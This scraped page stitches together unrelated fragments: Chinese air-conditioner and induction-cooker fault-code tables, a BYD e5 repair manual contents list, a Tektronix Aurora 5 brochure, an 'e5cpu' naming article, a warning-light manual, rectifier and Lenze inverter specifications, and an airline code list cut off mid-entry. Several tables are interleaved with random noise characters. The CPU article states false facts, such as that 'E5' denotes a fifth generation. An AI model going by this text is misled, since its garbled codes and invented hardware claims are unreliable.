氧气驱动雾化吸入5%高渗盐水及爱全乐治疗小儿毛细支气管炎临床效果分析
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各种空调代码格力空调:变频柜机E1-E5 7 d$ e: o: E( b5 V" b8 c* q T2 O2 eE1:压机过流,过热,排气过高,模块保护; 2 ?0 m; F8 x$ j0 q6 U; p9 N+ o+ Q# F) YE2:室内防冻结保护;E3:室内温度感温包开,短路; . X: o' Y6 s0 H% B# ~9 o) t" @ / L* f' ^" n; P8 jE4:室内管温开,短路;@( r' I/ T; m- g& E# bE5:室内外通讯故障。
6 j3 E+ U5 f- A定频机故障代码:% @6 _. i& {4 U- Q. s5 xE1:压缩机高压保护E4 u3 C: [ O7 `E2:蒸发器防冻结保护X* ]* R2 e) t" i7 ~' zE3:压缩机低压保护 g9 R! B9 S/ _3 l5 N7 J# U6 i, h& L/ U Y9 Q: h" {5 pE4:压缩机排气温度过高保护 . O4 |; S7 k9 ^: y3 T1 B& PE5:过电流(低电压保护)+ P! L! Z$ K' C+ ]LF-12WAK分体立柜式房间空调器故障代码﹕ 6 Y4 C8 b4 _1 k9 q E16 Y( x& ?: Z, E9 l Z% _1﹑冷凝器前有障碍物 ! J% X/ q( D) r1 [/ l- y! p2﹑控制回路巽常 ' I8 F+ B: h, {5 i5 k, d" r3﹑三相电源缺相 ; d6 ^3 v. T2 b9 A& z$ a( H( [3﹑室外环境温度高于43度时开始制冷Q& T/ L3 b7 Q4 u4﹑工作电流过大使过护器动作或高压管压力过大使高压开关动作$ E5 R- ]" x7 f" {. QE2O8 W* |9 |" p- E9 a$ Y1﹑室内风机不转或风口堵住2﹑室内环境温度低于18度 5 e/ y1 _5 D& Q# k8 z8 [; h* ^" _1 [& A- G9 o3﹑管温感温头折断 7 b0 t# ?. j. j5 ~& V* h+ V% b7 e! H+ C1 @) G4 v" ]4﹑管温感温头插头没插好^# B+ _# E5 r8 E9 q6 ~9 I' L' u' I5﹑控制回路巽常 4 g- Y3 M, ^. |9 ~' s# Q8 L* `6﹑电容C7漏电@' G* r/ [, `" YE3, 低压保护 * i# N& B0 |" \. ]3 l# W3 g8 n& M$ m S" f3 M) VE4、压机排气温度过高保护E5、低电压保护(堵转过流保护) 3 l4 y9 t# k4 IE6、静电除尘保护KF(R)-25GW/HK(XF) 和KF(R)-35GW/HK(XF)等定频机型故障显示一览表故障类型故障现象室内室外自动恢复横条1 横条2 横条3 横条4 横条5 % @; ]4 ]) d* m; ?0 K室内环温热敏电阻异常闪灭灭灭灭 * *室内热交热敏电阻异常闪闪灭灭灭 * *面板主板通讯异常闪闪亮亮亮 * . B: Z# x% t1 H& IAC电流保护灭灭闪灭灭 *高负荷保护亮闪闪闪灭 * + c3 G" x; N- k* u+ f2 j& OCT断线保护亮闪闪闪闪 * , }: J# k3 ?8 x$ W, eEEPROM异常亮亮闪灭灭 * ! M+ j, P& s+ A! a: s. ?- a/ q 室内电机不转(含油轴承不良)亮亮闪亮亮 * 6 m S: j5 }) |M4 Z* b( t6 J# j9 v ?- @横条1-5分别对应温差区段1-5,详见模糊温差显示说明。
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格兰士电磁炉代码表II型电磁炉故障代码表(CXXA-X(X)P1II)“○”表示灭,“●”表示亮。
15分钟灯 30分钟灯 45分钟灯 60分钟灯数码显示故障原因●●●● E0 硬件故障●○○○ E1 IGBT超温○●○○ E2 电源过压●●○○ E3 电源欠压○○●○ E4 炉面传感器开路●○●○ E5 炉面传感器短路○●●○ E6 炉面超温●●●○ E7 IGBT传感器开路格兰士电磁炉代码表故障代码 HYP1\HNP1\HVP1\IMP1\JMP1系列(II型板) X1YP3\X8VP3\X6BP3系列E0 电路故障电路故障E1 IGBT超温无锅或锅具材料不合适E2 电源电压过高电源电压过高(250V)E3 电源电压过低电源电压过低(180V)E4 炉面传感器开路炉面传感器开路E5 炉面传感器短路炉面传感器短路E6 炉面超温炉面超温E7 IGBT传感器开路 IGBT传感器开路E8 IGBT传感器短路 IGBT传感器短路E9 电路故障 IGBT超温万和电磁炉故障对照表~~~100W灯E0 断路开路(主传感器坏)400W灯E5 短路(主传感器坏)800W灯E3 高压保护1200W灯E4 低压保护1500W灯E2 IGBT超温1900W灯E6 锅下超温美的电磁炉SF164/174/184/194/204/214对照表E01 断路(主传感器坏)E02 短路(主传感器坏)E03 高温(主传感器坏)E04 断路(散热片传感器坏)E05 短路(散热片传感器坏)E06 高温(散热片传感器坏)E07 低压保护E08 高压保护E10 干烧保护E11 主传感器坏康宝电磁炉故障对照表70度灯E1 电压过高或过低100度灯E2 锅底传感器开路、短路140度灯E3 IGBT传感器开路、短路170度灯E4 电压过大TCL电磁炉故障对照表E0 IGBT传感器开路E1 无锅E2 IGBT传感器短路、超温E3 电压过高E4 电压过低E5 锅底传感器开路、短路E6 锅超温(干烧保护格力电磁炉故障对照表E0 电压过低E1 电压过高E2 锅底传感器开路E3 锅底传感器短路E4 IGBT传感器开路、短路E5 锅超温(干烧保护)东菱电磁炉故障代码故障代码代码保护说明备注说明E0 无锅、或锅具材质不对保护检锅电路故障、E1 电路系统保护系统失灵、干扰故障E2 温度传感器失灵保护开路或短路故障E3 市电压过高保护市电压保护电路误动作故障E4 市电压过低保护市电压保护电路误动作故障E5 炉面温度过高保护炉面控温电路失控故障E6 IGBT功率管过温保护IBGT控温电路失控故障格兰士电磁炉代码表A方案的故障代码汇总(原方案CXXA-X(X)P1)E-0 或15分钟定时灯闪亮电源电压过低造成电机转速过慢或电机风叶脱落;E-1 或30分钟定时灯闪亮电源电压过高造成电机转速过快或电机卡转;E-2 或45分钟定时灯闪亮机器内部散热器温度过高或温控器插座脱落;E-3 或60分钟定时灯闪亮热敏电阻开路或损坏或是连接线脱落。
e5维修手册高压系统维修手册1e5维修手册目 录目录第一章动力总成简介 (4)第二章动力总成的拆卸与维修 (6)第三章高压电控系统 (34)第一节系统概述 (35)第二节诊断流程 (36)第三节故障码列表 (37)第四节电路图及引脚定义 (39)第五节高压电控拆卸安装 (44)第四章主控制器系统 (46)第一节组件位置 (46)第二节诊断流程 (46)第三节故障码列表 (47)第四节引脚定义 (48)第五章充电系统 (50)第一节系统框图: (50)第二节系统概述: (50)第三节诊断流程: (50)第四节拆卸安装 (54)第六章动力电池系统 (55)第一节系统概述 (55)第二节动力电池位置 (55)第三节诊断流程 (55)第四节动力电池更换流程 (56)第七章电池管理系统 (58)第一节系统概述 (58)第二节组件位置 (58)第三节电气原理图及接插件定义 (59)第四节终端诊断 (59)第五节诊断流程 (61)第六节故障代码 (61)2e5维修手册3第七节 电池管理控制器更换流程 ............................................ 64 第八章 漏电传感器...................................................................................................................... 66 第一节 系统概述 .......................................................... 66 第二节 组件位置 .......................................................... 66 第三节 系统框图及接插件定义 .............................................. 67 第四节 诊断流程 .......................................................... 67 第五节 漏电传感器更换流程 (68)第一章 动力总成简介BYDe5车型前驱动力总成主要配备比亚迪e5的纯电动汽车。
Aurora 5 is the automated file-based QC tool that integrates into your production workflow and consistently delivers dependable results. We focus on eliminating false positives and utilize a high degree of correlation to human audio and visual perception to ensure that our test reports highlight just the key issues, not hundreds of irrelevant non-issues.The unique Aurora 5 architecture and advanced use of both CPUs and GPUs ensures concurrent analysis of more file types at faster speeds than alternative solutions. Aurora is available with configurable CPU allocation and 3 levels of product for different grades of hardware utilization, providing an upgrade path for increased performance in the future.Constant feedback from customers, integrators and partners helped design the new Aurora 5 user interface, making configuration, operation and review easy to learn, quick to adopt and practical across a variety of ingest, production, and distribution environments. Whether you are looking to apply metadata gate-keeping to keep your ingest clean, detecting visual and audible artifacts, identifying common editing errors, or testing for broadcast and distribution constraints, Aurora 5 will make a positive difference across your operation. Aurora 5 StandardOur entry level Aurora 5 Standard file-based QC platform enables up to 2x CPU cores to be allocated to each Aurora Verification Unit (VU). The resulting performance enables throughput of SD files up to 5x real time and HD files up to real time.Aurora 5 ProfessionalOur flagship Aurora 5 Professional QC platform can utilize up to 8x CPU cores per Verification Unit and provides support from up to 2 GPUs.A full hardware configured Aurora 5 can analyze SD files up to13x real time, HD files up to 4x real time, and 4K files up to real time.Aurora 5 Professional PlusThe VU Plus Plug-in for Aurora 5 Professional enables up to 16 CPU cores to be dedicatedto each Verification Unit and will access high numbers of GPU cores for accelerated testing. The analysis speed is up to about 50% faster than Aurora 5 Professional.Aurora 5 is the new generationof automated file-based QC product that represents a significant leap forward for file-based quality control, moving it significantly ahead of other products in its class in a number of critical areas....• Unparalleled, Scalable Speed• Faster than Real-time 4K Analysis• Enhanced Adaptive Bit Rate Support• 8x Faster Manual Review• Configurable Automated Workflows• QC Report AnalyticsAurora 5 file-based QC 103/2015 Copyright © Tektronix. All rights reserved. 2NW-60054-0Guaranteed QC CapacityAurora 5 guarantees QC capacity by reserving CPU andCUDA GPU capacity so that the system does not to overload itself. Aurora 5 doesn’t slow down as the system loads up, with the first file analyzed just as fast as that same file with hundreds of other concurrent jobs in progress.Broad Codec and Wrapper SupportAs a result of constant participation in key standardscommittees (EBU, SMPTE, AMWA, FIMS) Aurora 5 always has the latest codes and wrappers with new updates arriving often. This means that almost any file you can make, Aurora can test.New User InterfaceAurora 5 has a totally updated user interface with a consistent information layout, with the ability to modify the theme/colors and display different language scripts in both the user interface and QC reports. Current support includes English, Japanese and Chinese Simplified.Easy-to-Use QC ReportsAurora 5 job reports are a single easy-to-read page displaying all of the metadata in one location followed by an interactive error summary including frame-accurate access through Hydra Player. The report is consistent in look and content whether using a web browser and PDF .Fast Access Help FilesAurora 5 provides Help files for every test accessed with a click from test templates or reports, providing anexplanation of each individual test, how the test is performed, recommended correction(s), and where to in the workflow may be the best location to perform the fix.Email NotificationAurora 5 email notifications ensure that regardless of the receiving email device there is appropriate informationprovided for decision making or further action. Emails contain summary info and a HTML link to the full QC Report, and optionally the PDF version.8x Faster Manual ReviewAurora 5 is designed to dramatically reduce human review of QC results by 8 times compared to linear processes. By tightly integrating the Tektronix Hydra frame accurate player, instant access and visual aids simplify the tasks and increase efficiency.Minimal False PositivesAurora 5 algorithms are designed to reduce false positives, ensuring an accurate QC report. Tektronix operates a unique machine learning loop that ensures that continuous accuracy improvements of test algorithms based on customer supplied files with known QC artifacts.Video Essence TestsAurora 5 video essence tests include Macro block Noise, Up-conversion, Comb Artifacts, Field Order Swaps, Tape/Digital Hits, Perceptual & Film Artifacts, Black/Freeze Frames, Letterboxing/Pillarboxing, Color Bars, PSE/Flash Detection (Harding FPA), and Cadence Change.Audio Essence TestsAurora 5 audio essence tests include Silence, Drop-outs, Peaks (dBTP , PPM, dBFS), Average Levels (R128, ATSC,ARIB), Clipping, Snaps/Clicks/Pops, Test Tones, Phase Swaps and Hiss/Hum. Aurora 5 also applies a user-defined Audio Service Map for processing AES wrapped tracks or when mono channel audio essence tracks are tested together.Metadata TestsAurora 5 metatadata tests include Container Syntax, Video Essence Syntax, Dolby Audio Syntax, Dolby E Guard Band Alignment, Caption Syntax, Container Essence Contents, Cross-Check Container-Essence, Rude Word Detection in Text, Start Time code, Time code Discontinuity, Video Resolution and Run-times.Distribution Constraint TestsAurora 5 has pre-defined distribution tests with the distribution constraints pre-set. This includes test plans for CableLabs VOD, iTunes, Netflix, DVB, ISDB-T / TB, ATSC, XDCAM / RDD-9, AS-02, DPP / AS-11, DVD and Blu-ray.Automated WorkflowsAurora 5 includes tools for implementing end-to-end workflows, including Smart Test Plans for automatically applying test plans to your incoming files, and a Decision Engine that enables automated post QC test file movement and corrective actions.Systems IntegrationAurora QC includes an easy to use SOAP API that leading vendors have used to seamlessly integrate Aurora QC into their solution workflows. Major partners include Amberfin, Aspera, Astec, Imagine Communications, Telestream, iBroadcast, DataMiner, and FileCatalyst.Aurora 5 is the new generation of file-based QC solution from Tektronix fully implemented in a 64-bit architecture, enabling broad use of available CPU processing power and GPU acceleration to deliver unrivaled QC analysis speed and accuracy, perform up to 8 times faster manual review,and automate corrective actions.Unrivaled, Scalable Speed Aurora 5 is the first file-based QC product to have the ability to dynamically allocate threads across a user-specified number of CPU cores, enabling performance and scalability in high densityvirtual and blade environments. Using high CPU allocation or a lower CPU allocation combined with Aurora 5’s unique GPU accelerated processing capability, QC throughput approaching wireline limits can be achieved, rather than being constrained by a legacy decoding and testing architecture.QC Report AnalyticsAurora 5 is the first file-based QC product that has an optional QC Analytics plug-in to enable media organizations to analyze results of multiple QC Reports and search across reports for specific criteria. Aurora 5 can identify QC artifact trends and compare results from QC done at different workflow stages, pipeline issues and trends or identify vendors for KPI and SLA documentation.4K Production WorkflowAurora 5 can test and play back IMF , the master format agreed on by major motion picture studios. Aurora 5 has the ability to QC and play back complex Composition Play Lists (CPL) and is capable of testing 4K at real-time or faster in any other container or codec, including JPEG 2000, DPX, HEVC, H.264/AVC/AVCI/XAVC*. (* optionalAdvanced Codec pack is required for access to Canopus, HEVC and JPEG 2000 decoders.)Enhanced Adaptive Bit Rate SupportAurora 5 is the only file-based QC solution on the market capable of both testing and playing back HLS/HSS/HDS/DASH and CableLabs intermediate ABR playlist file sets. Aurora 5 includes tests that have been specifically designed to catch the most common causes of adaptive bit rate streaming problems.Aurora 5 Automated File-based QC with manual review player and workflowAs of April 2015 Aurora 5 supports the following file formats. Please contact Tektronix for latest listing.Supported FormatsASEAN / Australasia (65) 6356 3900Belgium 00800 2255 4835*Central East Europe and the Baltics +41 52 675 3777 Finland +41 52 675 3777Hong Kong 400 820 5835Japan 81 (3) 6714 3010Middle East, Asia, and North Africa +41 52 675 3777 People’s Republic of China 400 820 5835Republic of Korea 001 800 8255 2835Spain 00800 2255 4835*Taiwan 886 (2) 2722 9622Austria 00800 2255 4835*Brazil +55 (11) 3759 7627Central Europe & Greece +41 52 675 3777 France 00800 2255 4835*India 000 800 650 1835Luxembourg +41 52 675 3777The Netherlands 00800 2255 4835*Poland +41 52 675 3777Russia & CIS +7 (495) 6647564Sweden 00800 2255 4835*United Kingdom & Ireland 00800 2255 4835*Balkans, Israel, South Africa and other ISE Countries +41 52 675 3777 Canada 1 800 833 9200Denmark +45 80 88 1401Germany 00800 2255 4835*Italy 00800 2255 4835*Mexico, Central/South America & Caribbean 52 (55) 56 04 50 90 Norway 800 16098Portugal 80 08 12370South Africa +41 52 675 3777Switzerland 00800 2255 4835*USA 1 800 833 9200* European toll-free number. If not accessible, call: +41 52 675 3777For Further Information. Tektronix maintains a comprehensive, constantly expanding collection of application notes, technical briefs and other resources to help engineers working on the cutting edge of technology. Please visit .Copyright © Tektronix, Inc. All rights reserved. Tektronix products are covered by U.S. and foreign patents, issued and pending. Information in this publication supersedes that in all previously published material. Specification and price change privileges reserved. TEKTRONIX and TEK are registered trademarks of Tektronix, Inc. All other trade names referenced are the service marks, trademarks, orregistered trademarks of their respective 2NW-60054-010 Mar 2015Audio CodecsPCM Audio (WAV/AES/BWF), Dolby Digital (AC-3), DD+ (EAC-3), Dolby TrueHD (MLP), Dolby E, AAC, HE-AAC, WMA Standard/Pro, MPEG-2 (L1,2,3), MPEG-1.Captions/Subtitles/TextLine 21, CEA-608, CEA-708, Timed Text / DFXP , STL, SRT, SCC.Ordering informationPlease contact your Tektronix Sales Representative to understand how Aurora 5 may be customized for your specific workflow needs and content volume.Tektronix is registered to ISO 9001 and ISO 14001 by SRI Quality System Registrar..Container WrappersMXF (All OP , including AMWA defined AS, RDD-9, P2, SxS), Transport Stream, Elementary Stream, Program Stream/VOB, AVI, WMV/ASF , QuickTime/MOV , GXF , MP4, 3GPP , LXF , R3D, DPX, DXW, HLS, DASH, Smooth Streaming, IMF , DCP (unencrypted).Video CodecsH.264 (AVC/AVC-Intra/MVC 3D), MPEG-2 (including XDCAM, IMX and D-10), ProRes, JPEG 2000,DNxHD (VC-3), Cineform (VC-5), VC-1 (and WMV), DV/DVCPro, Flash VP-6/7, RAW (Huffman, YUV , RGB, Blackmagic), EXR, DPX, Canopus, H.265 (HEVC).。
e5cpu命名规则在计算机领域中,CPU(中央处理器)是整个计算机系统的核心部件,也是计算机的大脑。
而在Intel的CPU产品线中,e5cpu作为其中一种,拥有自己独特的命名规则。
本文将详细介绍e5cpu命名规则的相关内容。
e5cpu的命名规则可以分为三个部分,分别是系列号、产品代号和定序号。
其中,系列号指明了e5cpu所属的产品系列,产品代号代表了该系列中不同型号的CPU,而定序号则表示了该型号CPU在产品系列中的具体定位。
我们来看一下e5cpu的系列号。
e5cpu产品系列号以字母"E"开头,后面跟着一个数字。
这个数字代表了该系列的代数。
例如,E5代表第五代产品系列,E3代表第三代产品系列。
通过系列号,我们可以快速了解到e5cpu所属的产品系列。
接下来,是e5cpu的产品代号。
产品代号由字母和数字组成,用于区分不同型号的CPU。
这个代号并不是随机的,而是经过精心设计的。
其中,字母部分代表了该产品的特定特性,而数字则表示了该产品在该系列中的性能级别。
通过产品代号,我们可以了解到e5cpu的具体型号和特性。
是e5cpu的定序号。
定序号是一个数字,用于表示该型号CPU在产品系列中的具体定位。
通过定序号,我们可以了解到e5cpu在整个产品系列中的级别和性能水平。
一般来说,定序号越高,性能越强大。
除了这三个基本的命名规则外,e5cpu还有一些其他的命名规则。
首先是字母"N",它表示该产品是低功耗型号。
其次是字母"T",它表示该产品是封装型号。
最后是字母"X",它表示该产品是高性能型号。
通过这些字母的组合,我们可以进一步了解e5cpu的特性和用途。
总结一下,e5cpu的命名规则包括系列号、产品代号和定序号。
通过这些命名规则,我们可以快速了解到e5cpu的所属系列、具体型号、定位以及特性。
这些命名规则不仅使得e5cpu的命名有条不紊,而且让用户能够更好地选择合适的产品。
90dB502044S80R/ S80US80US80RS80U -BZ -220-R [Model number][Buzzer][Voltage][Color]||||• S80R • S80U• (Blank)- No buzzer type • BZ- Built-in buzzer type• 12 - DC12V • 24 - DC24V • 110 - AC110V • 220 - AC220VR-Red A-Amber G-Green B-Blue Bulb Revolving Warning LightThank you for purchasing Qlight’s products. Please read this user manual carefully prior to installation and operation to ensure safe and correct use.Failure to follow the instructions below may cause a loss of life or serious physical injury.1. Please remove any objects that can interrupt ventilation around the product.2. Please turn off the power of the product immediately if it fails to operate properly.3. Carefully wire the product according to each product’s specification.4. Please be careful in preventing chemicals such as thinner, benzene, etc. in contact with the surface of the product.5. Do not apply excessive force/impact to the product.6. Failure to follow any of the instructions above may cause malfunction or damage to the product, fire, and electric shock.Failure to follow the proper instructions may cause damage to property, the product, or malfunction of the product that would void the warranty.1. During wiring or maintenance, please completely turn off the power of the product. (Failure to follow this may lead to an electric shock.)2. Do not install the product in locations that subjects it to excessive dust or water other than the conditions designated by the IP protection ratings indicated for each product. (Failure to follow these instructions may cause a fire to the product, electric shock, physical injury, malfunction or damage to the product.)3. Do not alter or repair this product. If maintenance or repair service is required, please contact your local Qlight contact point. (Failure to follow these instructions may lead to fire, electric shock, or product damage.)4. Please apply the correct voltage to the product. (Failure to follow these instructions may lead to fire, electric shock, or product damage.)5. When the product is applied to a condition that may impact lives or property, please make sure to have a double safety device. (Failure to follow this may cause damage to property, fire, electric shock and loss of life.)• Protection rating : IP44• Ambient operating temperature : -20°C to +50°CPlease scan the QR code for more detailed product information.S80US80RS80R/ S80U• First, remove the flange nuts from bolts and place the product through the mounting surface holes.• Fasten the flange nuts on the opposite side of themounting surface until the product is tightened securely.• DC/AC type cable specification :External power line - UL1015 AWG18(0.75sq) x 2C 400mm• For built-in buzzer type, there is a shared supply line for the buzzer and lighting element.Power■ Parts Definition/ Installation■ Mounting Hole Specifications• Machine holes on the mounting surface referring to the diagram below.• Please refer to the dimensions below for installation of mounting brackets• This product is designed for use with protection rating of IP44.• If the product is installed in locations that subject it to excessive dust or water other than the designated IP protection rating indicated(IP44), it may cause malfunction or damage to the product.• In case of outdoor applications, install the product in the upright position. Do not install the product horizontal or upside-down positions where water can potentially penetrate into the product and impact it’s operation.• For further information, please visit our website ().Product Operation Inquiry / Customer Support +82-55-328-4082You can expect prompt service if you have exact information such as model name, symptom, telephone number and address.※ALL PRODUCT, PRODUCT SPECIFICATIONS AND DATA ARE SUBJECT TO CHANGE WITHOUT NOTICE TO IMPROVERELIABILITY, FUNCTION OR DESIGN OR OTHERWISE.Head office : A-412, 579 Kyungin-Ro, Guro-Gu, Seoul, Korea (Postal Code : 08212)Factory : 185-25, Mukbang-Ro, Sangdong-Myeon, Gimhae-Si, Gyeongsangnam-Do, Korea (Postal Code : 50805)EN-1806A。
REG85500整流模块1 基本参数1.1 产品型号 :REG855001.2 外形尺寸高度:84±1mm宽度:215±1mm(含面板)深度:395±1mm1.3 重量:≤8kg1.4 标签2 技术参数2.1 环境条件工作温度-5℃~45℃, 45℃以上降额使用, -40℃启机相对湿度≤95% ,无冷凝工作海拔高度海拔高度2000m以上需要降额使用。
冷却方式强迫风冷,风扇智能调速2.2 输入特性输入电压: 260V~530Vac,三相+保护地,无中线额定输入电压:380Vac输入电压限功率:线电压304Vac以上可以满载输出输入电流<15A额定输入交流电压频率50Hz开机瞬间冲击电流<32A50%~100% 额定输出负载PF ≥ 0.9850%~100% 额定输出负载THD THD≤5%(额定输入)2.3 效率额定效率≥93.5%2.4 输出特性输出直流电压200V~550V输出直流电流0A~20A负载调整率≤±0.5%电网调整率≤±0.1%开机过冲幅度≤±3%启动时间≤8s峰峰值杂音≤1%(20MHz带宽限制)稳压精度≤±0.5%输入电压检测精度≤±5V输出电压检测精度≤±0.5%输出电流检测精度≤±0.3A稳流精度≤±1%2.5 保护特性模块输出短路保护短路时关机,需手动下电复位。
硬件过压保护点 570V,过压保护后需要手动下电复位。
软件过压保护点 250~560V可设。
过压保护点535V ±5Vac欠压保护点255V ±5Vac过温保护模块过温时关机保护风扇故障保护风扇故障时模块关机并告警2.6 音响噪音:≤ 55dB(A)。
在额定输入电压,额定输出电压,80%负载时2.7 控制功能2.7.1 输入限功率(见图1)当模块工作在5.2中功率降额输入电压范围内时,允许输出功率降额50%;当模块工作在5.2中额定输入电压范围内时,允许满载输出;图12.7.2 输出电流外特性曲线(见图2)额定输入电压时,模块允许输出功率不小于8600W;输出电压450V以上可以输出8600W功率,电压小于400V时可输出最大电流20A;输出外特性参照下图:图2 2.7.3 输入温度限功率特性(见图3)45℃环境温度以下,模块满功率输出8600W;50℃环境温度以上降额使用,为分段线性限功率55℃环境温度,模块允许输出功率大于等于7400W;65℃环境温度,模块允许输出功率大于等于2500W。
伦茨变频器说明书篇一:伦茨变频器参数如下伦茨变频器参数如下:(不全)C001给定值选择(频率来源) C007 输入端子功能选择C008输出端子功能设置C010 最小输出频率C011最大输出频率 C012加速时间C013减速时间C014控制模式C015v/f额定频率C016 Vmi n提升电压 C018 载波频率C022电流最大值(工作)C023电流最大值(制动)C036直流加压制动的电压/电流C037点动1频率C038点动2频率 C039 点动3频率C050输出频率C052电机电压C053 直流母线电压C054电机视在电流 C055控制器负载C056散热片温度C084电机定子电阻C087电动机额定转速C088电动机额定电流 C089 电动机额定频率 C090 电动机额定电压C091电动机功率因数C092电动机定子绕组电感1通过操作面板给定 1E4—正负转;E3-参数集转换;E2/E1-点动速度1~3 1故障信号5Hz55H z 5.0s5.0s2 V/F 线性 55H z2.80%2 8K Hz150%过电流极限值150%3.50%制动力矩40Hz参数集1//25Hz参数集245H z参数集1//30Hz参数集240Hz参数集1//35Hz 参数集2 **Hz运行频率值**V变频器输出电压瞬时值**V变频器内部电容两端电压,一般在600V左右变化 **A变频器输出电流瞬时值**%变频器输出负载率,与电机实际负载有关**℃监控变频器温度**矢量控制电动机定子绕组电阻值1450电动机铭牌值 **A电动机铭牌值,注意电机保护有关50Hz电动机铭牌值380V电动机铭牌值 0.84 电动机铭牌值**mH篇二:伦茨变频器优势价伦茨变频器E82EV113K4C 联系人:谢茂良Q Q :746860572 E-mail:746860572@Q Q.电话: 0591-83772089传真:0591-83781315 E82EV113K4CE82EV113K4C200E82E V152K4CE82EV222K2C200E82EV251K2C E82E V302K2C20 0E82EV371K2CE82E V402K2C200E82EV551K2CE82EV551K4C200E82E V552K4CE82EV751K2C200E82E V752K2C E82EV752K2C200E82E V752K4CE82E V752K4C200EV F9321-EVE VF9322-EVEVF9323-E VEV F9326-EVE82E V113K4C E82EV113K4C200E82E V152K2CE82E V152K2C200 E82EV152K4CE82EV152K4C200E82EV222K2C E82E V222K2C200 E82EV222K4C E82EV222K4C200E82E V251K2CE82E V251K2C200E82EV302K2CE82EV302K2C200 E82E V302K4C E82EV302K4C200 E82EV371K2CE82EV371K2C200E82E V402K2CE82EV402K2C200E82EV402K4C E82EV402K4C200 、E82E V152K2C、E82E V152K4C200、E82EV222K4C、E82EV251K2C200、E82EV302K4C、E82E V371K2C200、E82EV402K4C、E82EV551K2C200、E82E V552K2C、E82E V552K4C200、E82EV751K4C、E VF9324-EV、E82EV152K2C200、E82E V222K2C 、E82EV222K4C200 、E82EV302K2C 、E82E V302K4C200 、E82E V402K2C、E82EV402K4C200、E82EV551K4C、E82EV552K2C200、E82EV751K2C 、E82EV751K4C200 、EV F9325-EVE82EV551K2C200 E82EV551K4CE82EV551K4C200E82E V552K2CE82EV552K2C200E82EV552K4C E82EV552K4C200 E82EV751K2CE82EV751K2C200E82EV751K4CE82E V751K4C200E82EV752K2CE82E V752K2C200 E82EV752K4C E82EV752K4C200 EV F9321-EV EV F9323-EVEV F9325-EVE VF9327-EVE VF9328-E VEVF9330-E VE SMD251X2SFAE SMD371X2SF A ES MD551X2S FA E SMD751X2S FAESMD152X2S FAESM D222X2SF AESM D371L4T XAE SM D751L4TXAESMD112L4TXA ESM D152L4TXA ES MD222L4T XAES MD302L4TXAES MD402L4TXA ESM D552L4TX AES MD752L4TX A E SMD113L4TX AE SMD153L4TXAE SMD183L4TX A ES MD223L 4T XA E VS9321-EP EV S9321-ESE VS9322-ES、、、、、E VF9322-EVE VF9324-E V EV F9326-EVEVF9329-EVEV S9322-EP E VS9323-EP EV S9324-EPE VS9324-ESEVS9325-E PEV S9326-EP EV S9327-EP E VS9327-ES EV S9328-EPE VS9328-ESEVS9329-E P E VS9329-E SEVS9330-EP EVS9330-ESEVS9331-EPEV S9332-E PE82ZB CE MZ9371B C E82Z AFA C001E82ZAFC C201E82ZAFI C001E82ZA FPC001E82ZA FS C001 E82ZA FSC010E82ZA FSC100E MF2113 IB EMF2171IBEM F2172IB EMF2175I B E MF2178IBE MF2179IB E MF2180IBEMF2181IBE MF2102IB CV001 EM F2102IBC V002 EMF2102I BCV003EMF2133IBEM F2177IBEM Z9374I B EM B9351-EE MB9352-E EV S9321-ES EVS9321-E PE VS9321-EKE VS9321-E R 、、、、、EV S9325-E S EV S9326-ES EVS9331-E SE VS9332-ESE82ZAF CC001 E82ZA FL C001 E82ZA FPC010、E VS9321-ETE VS9321-E SV100 EV S9321-EK K100 EVS9321-ERV100EVS9321-E I E VS9321-E TV100 EV S9322-ESE VS9322-EPEVS9322-E K E VS9322-E REVS9322-EIEVS9322-ETEVS9322-ES V100EV S9322-EK K100E VS9322-EIE VS9322-E TV100 EV S9323-ES EVS9323-E PE VS9323-EKE VS9323-E R EV S9323-EIEVS9323-ETEV S9323-ESV100E VS9323-E PV100 EV S9323-EK K100 EVS9323-ERV100EVS9323-E I E VS9323-E TV100 EV S9324-ESE VS9324-EPEVS9324-E K E VS9324-E REVS9324-EI EVS9324-ETEVS9324-ES V100 E VS9324-E PV100EVS9324-ERV100E VS9324-EIE VS9324-E TV100 EV S9325-ES EVS9325-EKEV S9325-E R EV S9325-EI、、、、EV S9321-EPV100E VS9322-E PV100 EV S9322-ER V100 EVS9324-EKK100EVS9325-E PEV S9325-ES V100EVS9325-EPV100E VS9325-EKK100EV S9325-E RV100EVS9325-EI EVS9325-ETV100EVS9326-E S E VS9326-E PEVS9326-EK EVS9326-EREVS9326-EIEV S9326-E T EV S9326-ES V100 EVS9326-EPV100EVS9326-E KK100 E VS9326-ER V100 EV S9326-EIEVS9326-ETV100E VS9327-ESE VS9327-E P EV S9327-EKEVS9327-EREV S9327-EI E VS9327-ET EV S9327-ES V100EVS9327-EPV100E VS9327-EKK100EV S9327-E RV100EVS9327-EI EVS9327-ETV100EVS9328-E S E VS9328-E PEVS9328-EK EVS9328-EREVS9328-EIEV S9328-E T EV S9328-ES V100 EVS9328-EPV100EVS9328-E KK100 E VS9328-ER V100EV S9328-EIEVS9328-ETV1009329 EVS9329-E S篇三:伦茨变频器软件设置点开伦茨软件,选择“新工程(从系统中载入的工程)”。
世界各航空公司代码下述航空公司将以2字代码进行排列。
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0-911A: 西班牙艾玛迪斯全球旅游分销系统公司(Amadeus Global Travel Distribution) 1B: 新加坡环亚旅游资讯系统(Abacus International)1C: EDS InFORMation Business (瑞士)1D: Radixx Solutions International (美国)1E: 中国民航信息网络股份(Travelsky Technology)1F: INFINI Travel InFORMation (日本)1G: 美国伽利略国际公司(美国)1H: Siren-Travel (俄罗斯)1I: Netjets Aviation(Execjet, 美国)Deutsche Rettungsflugwacht(Civil Air Ambulance, 德国)Nova Airlines(Navigator, 瑞典)Sky Trek International Airlines(Phazer, 美国)Sierra Nevada Airlines(美国)Pegasus Hava Tasimaciligi(Sunturk, 土耳其)1J: 爱克森斯国际科技(日本)1K: Sutra (美国), Southern Cross Distribution (澳大利亚)1L: Open Skies (美国)1M: JSC Transport Automated InFORMation Systems (TAIS) (俄罗斯)1N: Navitaire (美国)1P: WorldSpan (美国)1Q: Sirena (俄罗斯)1R: Hainan Phoenix InFORMation Systems (中国)1S: Sabre (美国)1T: 1Time Airline (南非)1U: Polyot Sirena (俄罗斯)1V: Galileo International (美国)1Y: Electronic Data Systems Corporation (美国)1Z: Sabre Pacific (澳大利亚)22A: Deutsche Bahn AG (Germany)2H: Thalys 〔中文译作大力士或称西北高速列车,Belgium, France, Germany, Netherlands〕2L: Helvetic Airways2P: Air Philippines (Philippines)2U: Atlas International Airways2V: Amtrak (USA)2Z: 中国长安航空公司33J: Zip (Canada)3K: Jetstar Asia3Q: 